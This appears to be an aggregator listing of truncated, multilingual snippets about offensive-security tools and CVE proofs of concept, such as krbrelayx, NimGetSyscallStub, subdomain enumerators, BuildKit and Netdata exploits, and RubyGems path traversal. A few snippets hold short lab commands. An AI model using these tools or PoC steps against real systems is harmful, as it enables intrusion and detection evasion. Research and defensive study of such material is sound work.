massdns

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per...

massdns

MassDNS 고성능 DNS 스텁 리졸버 MassDNS는 수백만 또는 수십억 개에 이르는 대량의 도메인 이름을 해석하려는 사용자를 대상으로 하는 간단한 고성능 DNS 스텁 리졸버입니다. 특별한 구성 없이도 MassDNS는 공개적으로 사용 가능한 리졸버를 사용하여 초당 350,000개 이상의 이름을 해석할 수 있습니다. 기여자 Quirin Scheitle, 뮌헨 공과대학교 컴파일 git 저장소를 클론하고 프로젝트 루트 폴더로 cd한 후, make를 실행하여 소스에서 빌드합니다. Linux가 아닌 경우 make nolinux를...

CVE-2019-6467

CVE-2019-6467 BIND nxdomain-redirect 교육 목적으로만 사용하세요 실행 root@kitploit: $ docker run --rm --name cve-2019-6467 -it -p 53:53/udp knqyf263/cve-2019-6467 익스플로잇 일반 질의 root@kitploit: $ dig @127.0.0.1 nxdomain.example.com nxdomain은 존재하지 않는 도메인 이름을 의미하는 어떤 것으로도 대체할 수 있습니다. 예: foobar.example.com 참고...

AzSubEnum

AzSubEnum - Azure 서비스 서브도메인 열거 AzSubEnum은 Azure 서비스를 대상으로 한 특화된 서브도메인 열거 도구입니다. 이 도구는 다양한 Azure 서비스와 연관된 서브도메인을 세심하게 검색하고 식별하도록 설계되었습니다. AzSubEnum은 다양한 기술과 쿼리를 조합하여 Azure 도메인 구조를 탐색하고, 여러 Azure 서비스와 관련된 서브도메인을 체계적으로 조사하고 수집합니다. 작동 방식 AzSubEnum은 DNS 해석 기술과 체계적인 순열permutation 방식을 활용하여 Azure App...

krbrelayx

Krbrelayx - Kerberos relaying and unconstrained delegation abuse toolkit Toolkit for abusing Kerberos. Requires impacket, ldap3 and dnspython to function. It is recommended to install impacket from git directly to have the latest version available. More info about this toolkit available in my blo...

NimGetSyscallStub

NimGetSyscallStub 새로운 ntdll.dll 복사본에서 새로운 Syscall을 가져옵니다. 이 코드는 이미 발표된 훌륭한 도구인 NimlineWhispers 및 NimlineWhispers2 @ajpc500 제작 또는 ParallelNimcalls의 대안으로 사용할 수 있습니다. Syscall을 동적으로 가져오는 장점은 Stub의 시그니처가 파일에 포함되지 않으며, Windows 버전이 변경될 때 걱정할 필요가 없다는 것입니다. 셸코드 실행 템플릿을 컴파일하려면 다음을 실행하세요: root@kitploit: nim...

Uchihash

Uchihash Uchihash è un piccolo strumento che può far risparmiare tempo agli analisti malware nella gestione di valori hash incorporati utilizzati per varie cose come: Importare dinamicamente API specialmente in shellcode Verificare i processi in esecuzione utilizzati dagli analisti Anti-Analisi...

fernmelder

fernmelder risolutore DNS asincrono di massa...

mass3

Durchsuche schnell eine vorkompilierte Liste von AWS S3-Buckets per DNS statt HTTP mit einer Liste von DNS-Resolvern und Multithreading. Warnung: Bedenke, dass dies wirklich schlechter Golang-Code ist. Ich habe ihn ohne Vorkenntnisse in Go Lang geschrieben, aber er scheint seinen Zweck zu erfülle...

eavesarp

Eavesarp Uno strumento di ricognizione che analizza le richieste ARP per identificare gli host che probabilmente comunicano tra loro, utile in quelle temute situazioni in cui LLMNR/NBNS non sono in uso per la risoluzione dei nomi. Presentato da: Requisiti/Installazione Funziona solo su Kali o alt...

altdns

Altdns - Subdomain discovery through alterations and permutations Altdns is a DNS recon tool that allows for the discovery of subdomains that conform to patterns. Altdns takes in words that could be present in subdomains under a domain such as test, dev, staging as well as takes in a list of...

CVE-2024-23653

root@kitploit: syntax=docker.io/zdfa/evilerfile FROM alpine RUN grep Cap /proc/self/status root@kitploit: sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. \ --local dockerfile=. root@kitploit: ➜ cp sudo bin/buildctl build \ --frontend=dockerfile.v0 \ --local context=. ...

CVE-2026-82466

Rodauth versions before 2.46.0 contain an authentication bypass in the webauthn_login route. The root cause is improper account resolution logic that falls back to session account identifiers instead of validating the credential binding, allowing a logged-in user to authenticate as any other acco...

decode-spam-headers

decode-spam-headers.py Che tu stia cercando di capire perché una specifica e-mail è finita in SPAM/Junk per le tue attività amministrative quotidiane o per i tuoi scopi di simulazione di Phishing Red-Team, questo script è qui per aiutarti! L'idea è nata durante la consegna di esercizi commerciali...

cve-2024-32019-PoC

CVE-2024-32019 — ndsudo di Netdata: Escalation dei Privilegi Locali Riepilogo L’helper ndsudo di Netdata installato con setuid root limita i comandi che può eseguire, ma risolve questi comandi usando ilPATH del chiamante. Nelle versioni vulnerabili, un utente locale può posizionare un binario...

EUVD-2026-68102

RubyGems fails to re-validate path containment after filesystem symlink resolution during gem extraction. When a pre-existing symlink inside the destination directory points outside the extraction root, extracted files that appear to be written under the destination directory can instead be writt...

CVE-2026-82455

RubyGems versions before 4.0.13 are vulnerable to a path traversal issue during gem extraction. The root cause is a failure to re-validate path containment after filesystem symlink resolution : if a pre-existing symlink inside the destination directory points outside the extraction root, extracte...

Citrix-NetScaler-Memory-Leak-CVE-2025-5777

CVE-2025-5777 – Citrix NetScaler Perdita di memoria PoC aggiornato Questo repository contiene un Proof-of-Concept PoC aggiornato per sfruttare CVE-2025-5777 – una vulnerabilità di perdita di memoria che colpisce Citrix NetScaler. Il PoC originale di 0xgh057r3c0n funziona perfettamente, ma alcuni...

CVE-2021-3572

CVE-2021-3572 Questo repository è progettato per testare CVE-2021-3572 in pypa/pip. Per maggiori informazioni, vedi queste risorse: Pagina CVE: https://vulners.com/cve/CVE-2021-3572 PR in cui è stata corretta la vulnerabilità: https://github.com/pypa/pip/pull/9827 Issue con ulteriore discussione:...

CVE-2021-43616

Repository che dimostra CVE-2021-43616 / https://github.com/npm/cli/issues/2701 Rimuovi la cartella nodemodules ed esegui npx npm@8 ci, potrai vedere come npm installa la versione 2.2.x 2.2.16 al momento di questo commit anche se package-lock.json richiede la 2.0.0 root@kitploit: cat...